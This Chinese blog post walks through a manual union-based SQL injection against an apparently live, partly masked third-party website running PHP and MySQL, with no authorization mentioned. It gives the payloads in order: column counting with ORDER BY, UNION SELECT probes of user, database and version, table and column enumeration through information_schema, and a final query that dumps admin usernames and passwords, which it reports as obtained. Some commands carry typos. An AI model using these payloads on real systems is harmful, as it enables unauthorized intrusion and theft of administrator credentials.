vlambda博客
学习文章列表

记一次简单的sql注入测试



基本信息探测:

  • 目标网站http://www.xxxxx.cn/

  • 服务器IP:222.xxx.xxx.220江苏

  • 环境平台:PHP+ MySQL5


实战测试过程

网站首页随便打开一个链接,手工测试下是否存在注入漏洞?'单引号直接报错了,根据返回结果可以确定是可以注入的。

(1) 查询例数

order by用于对从表中选出的列进行排序 其语法为

order by 1

查询的列数我们假设有1列,那么以1排序不报错,那么可以证明其查询的列大于或者等于1

记一次简单的sql注入测试

记一次简单的sql注入测试

(2) 联合查询

 UNION SELECT 1

查看数据显示位置

记一次简单的sql注入测试

这边至于为什么在1前面加一个-就靠大家自己体会了

可以从前面报错信息中发现是Mysql数据库

Mysql数据库的内置函数:user():当前的MySQL用户名和主机名database():返回默认(当前)数据库名称如果没有默认数据库,则DATABASE()返回NULLversion():获取系统的版本号信息
命令:union select user() 查看当前的用户名

记一次简单的sql注入测试

命令:union select database()查看当前数据库

记一次简单的sql注入测试

命令:union seleect version()查看当前版本

记一次简单的sql注入测试

mysql数据库中的全局函数@@datadir – 数据库路径@@hostname – 主机名@@VERSION – DB版本@@version_compile_os – 系统版本

(3) 查询所有的表

命令:union seleect group_concat(table_name) from information_schema.columns where table_schema=database()查询所有的表

记一次简单的sql注入测试

(4) 列出字段

命令:查询admin里面字段UNION%20SELECT%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27admin%27

记一次简单的sql注入测试

(4) 列出admin表中的id,name,adminpass字段内容

命令:UNION SELECT concat(id,0x3a,name,0x3a,adminpass) from admin 拿到用户名和密码


记一次简单的sql注入测试


至此,整个SQL注入成功完成!


———————————————————————————————

                                          扫描关注这个夏天计划

                                         

                                                                        觉得不错点个“赞”、“在看”哦